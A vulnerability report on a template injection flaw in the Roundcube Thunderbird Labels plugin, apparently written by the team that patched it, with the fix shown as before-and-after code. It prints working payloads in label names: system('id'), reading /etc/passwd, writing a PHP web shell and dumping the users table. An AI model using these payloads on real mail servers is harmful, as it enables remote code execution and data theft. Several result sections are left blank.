Thunderbird Labels Plugin Template Injection Vulnerability Report

Date: 2025-06-13
Severity: CRITICAL
CVSS Score: 9.1 (Critical)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low (authenticated user)
User Interaction: None
Impact: Remote Code Execution
Reported: No. For the most part, this is a dead plugin and had to be almost completely rewritten to run on PHP 8+, however, it did illuminate the Roundcube eval() vulnerability that we patched too.

Executive Summary

A critical template injection vulnerability was discovered in the Thunderbird Labels plugin for Roundcube Webmail. The vulnerability allows authenticated users to execute arbitrary PHP code by injecting malicious template expressions through custom label names. This vulnerability provides a direct path to remote code execution without requiring administrative privileges or file system access.

Vulnerability Details

Root Cause

The Thunderbird Labels plugin fails to sanitize user-supplied label names before injecting them into Roundcube template expressions, which are subsequently processed by the vulnerable eval_expression() method.

Technical Analysis

Vulnerable File: roundcube/plugins/thunderbird_labels/thunderbird_labels.php

Attack Flow:

  1. User Input Collection (Lines 225-229):

    'LABEL1' => rcube_utils::get_input_value('custom_LABEL1', rcube_utils::INPUT_POST),
    'LABEL2' => rcube_utils::get_input_value('custom_LABEL2', rcube_utils::INPUT_POST),
    // ... etc
  2. Unsafe Template Generation (Line 422):

    $tpl_menu .= '<roundcube:button ... content="'."$i $human_readable".'" ... />';
  3. Template Processing (Line 392):

    return $this->rc->output->just_parse($tpl_code);
  4. Code Execution:

Proof of Concept

Attack Payload:

Label Name: "><roundcube:if condition="system('id')"><!--

Result:

Prerequisites

Impact Analysis

Technical Impact

Real-World Scenarios

  1. Data Exfiltration:

    Label: "><roundcube:if condition="file_get_contents('/etc/passwd')">
  2. Backdoor Installation:

    Label: "><roundcube:if condition="file_put_contents('shell.php', '<?php system($_GET[c]);')">
  3. Database Dump:

    Label: "><roundcube:if condition="$GLOBALS['rcmail']->db->query('SELECT * FROM users')">

Remediation

Immediate Fix Applied

We implemented HTML escaping for all user-supplied label names:

1. Input Sanitization (Lines 225-229):

// Before (vulnerable)
'LABEL1' => rcube_utils::get_input_value('custom_LABEL1', rcube_utils::INPUT_POST),

// After (secure)
'LABEL1' => rcube::Q(rcube_utils::get_input_value('custom_LABEL1', rcube_utils::INPUT_POST)),

2. Display Sanitization (Line 422):

// Before (vulnerable)
content="'."$i $human_readable".'"

// After (secure)
content="'."$i ".rcube::Q($human_readable).'"

How the Fix Works

The rcube::Q() function performs HTML entity encoding:

This prevents breaking out of HTML attributes and injecting malicious tags.

Verification

Before Fix:

Input: "><script>alert(1)</script>
Output: <roundcube:button content="1 "><script>alert(1)</script>" />
Result: XSS/Template Injection possible

After Fix:

Input: "><script>alert(1)</script>
Output: <roundcube:button content="1 &quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;" />
Result: Safely escaped, no injection

Risk Assessment

Exploitability

Likelihood

Timeline

Related Vulnerabilities

This vulnerability is part of a larger attack chain:

  1. This Plugin: Provides injection vector
  2. eval_expression: Executes injected code
  3. Combined Impact: Full system compromise

Both vulnerabilities have been addressed in our fixes.

References


Report Generated: 2025-06-13
Fix Status: RESOLVED - Input sanitization applied
Severity After Fix: None - Vulnerability eliminated